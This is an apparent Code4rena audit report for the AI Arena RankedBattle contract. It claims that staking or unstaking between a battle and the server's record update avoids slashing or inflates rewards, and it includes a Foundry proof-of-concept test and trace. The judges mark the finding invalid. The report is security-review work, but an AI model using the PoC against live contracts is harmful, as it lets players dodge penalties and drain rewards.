`amountStaked[tokenId]` can be manipulated in between battles which results in extra reward/points claimed when battle is won, and zero slashing of staked tokens/points when battle is lost`..,

[c4-bot-7]

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L334-L338 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L416-L500

Vulnerability details

Impact

Look at actions RankedBattle::updateBattleRecord and RankedBattle::_addResultPoints

The impact of this issue are

1. When won, the claim % of staked token at rish can be made from 1% ( 10 bps) to 100%.
2. when won, stakingFactor can be inflated to increase teh points, which makes claiming new fighter from merging pool
3. When lost, the 1% slashing of staked at risk is prevenable by making the update battle record DOS

Attack scenario ( 3rd impact from above)

1. A fighter satkes but also lost a battle he participated next
2. so his stake at risk is 1% od staked. And also he has no points
3. Next time he battles, there is 99% stake left, and now also he lost
4. before the game server updating the battle record, the fighter owner will unstake all 99 % of the stake
5. so now next 1% of that staked tokens cannot be slashed by the game server.

The 1st and 2nd scenario is possible like a flashloan attack,

1. Fighter stakes and battles, and he won
2. realising the winning perks, he will get more points if no stake is at risk, or will claim back 100% of his staked at risk amount.
3. Before game server updating winning battle record, the fighter owner will stake a lot of NRN tokens, and when battle record updated he gets the winning perks. And after updating, he next block he will unstake and leave the round.

Proof of Concept

• As you can see the logs, 1 % of the staked amount should have been slashed as loss, but nohing was slashed ( 0 transfer to stake at risk contract is happening).

----------------------- skimmed --------------------------------

    ├─ [22438] RankedBattle::updateBattleRecord(0, 50, 2, 1500, true)
    │   ├─ [603] FighterFarm::ownerOf(0) [staticcall]
    │   │   └─ ← 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69
    │   ├─ [600] VoltageManager::ownerVoltageReplenishTime(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69) [staticcall]
    │   │   └─ ← 86401 [8.64e4]
    │   ├─ [557] VoltageManager::ownerVoltage(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69) [staticcall]
    │   │   └─ ← 90
    │   ├─ [618] StakeAtRisk::getStakeAtRisk(0) [staticcall]
    │   │   └─ ← 3000000000000000000 [3e18]
    │   ├─ [618] StakeAtRisk::getStakeAtRisk(0) [staticcall]
    │   │   └─ ← 3000000000000000000 [3e18]
🟥🟥📁📁 [3243] Neuron::transfer(StakeAtRisk: [0x8d6aFed1C4d5af65ee3a8776d936B05A3eac6A00], 0)
    │   │   ├─ emit Transfer(from: RankedBattle: [0xBB807F76CdA53b1b4256E1b6F33bB46bE36508e3], to: StakeAtRisk: [0x8d6aFed1C4d5af65ee3a8776d936B05A3eac6A00], value: 0)
    │   │   └─ ← true
    │   ├─ [3272] StakeAtRisk::updateAtRiskRecords(0, 0, 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69)
    │   │   ├─ emit IncreasedStakeAtRisk(fighterId: 0, atRiskAmount: 0)
    │   │   └─ ← ()
----------------------- skimmed --------------------------------
    └─ ← ()

-Now paste the below POC into test/RankedBattle.t.sol and run forge t --mt test_POC_updateBattleRecord -vvvv

    function test_POC_updateBattleRecord() public {
        address player = vm.addr(3);
        _mintFromMergingPool(player);
        _fundUserWith4kNeuronByTreasury(player);

        // stake
        vm.prank(player);
        _rankedBattleContract.stakeNRN(3_000 * 10 ** 18, 0);
        assertEq(_rankedBattleContract.amountStaked(0), 3_000 * 10 ** 18);

        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true);

        // battle happens

        // unstake before updating battle record because loss
        vm.prank(player);
        _rankedBattleContract.unstakeNRN(3_000 * 10 ** 18 * 9990 / 10000, 0);
        assertEq(_rankedBattleContract.amountStaked(0), 0);

        // updating battle record
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true);
    }

Tools Used

Manual + Foundry testing

Recommended Mitigation Steps

• The game has be completely onchain, meaninf start of battle, end of battle. here only end of battle action is recordeed. So I would recomment to add a function that starts battle for token 1 and token 2. Then in that function a lock state has to be updated, meaning no staking / unstaking / claiming NRN to be done when the token is in the battle. Like reentrancy lock mechanism. This prevents the manipulation of amountStaked[tokenId] state when battles.

Assessed type

DoS

[c4-pre-sort]

raymondfam marked the issue as sufficient quality report

[c4-pre-sort]

raymondfam marked the issue as duplicate of #136

[c4-judge]

HickupHH3 marked the issue as unsatisfactory: Invalid

[c4-judge]

HickupHH3 marked the issue as unsatisfactory: Invalid

[c4-judge]

HickupHH3 changed the severity to 2 (Med Risk)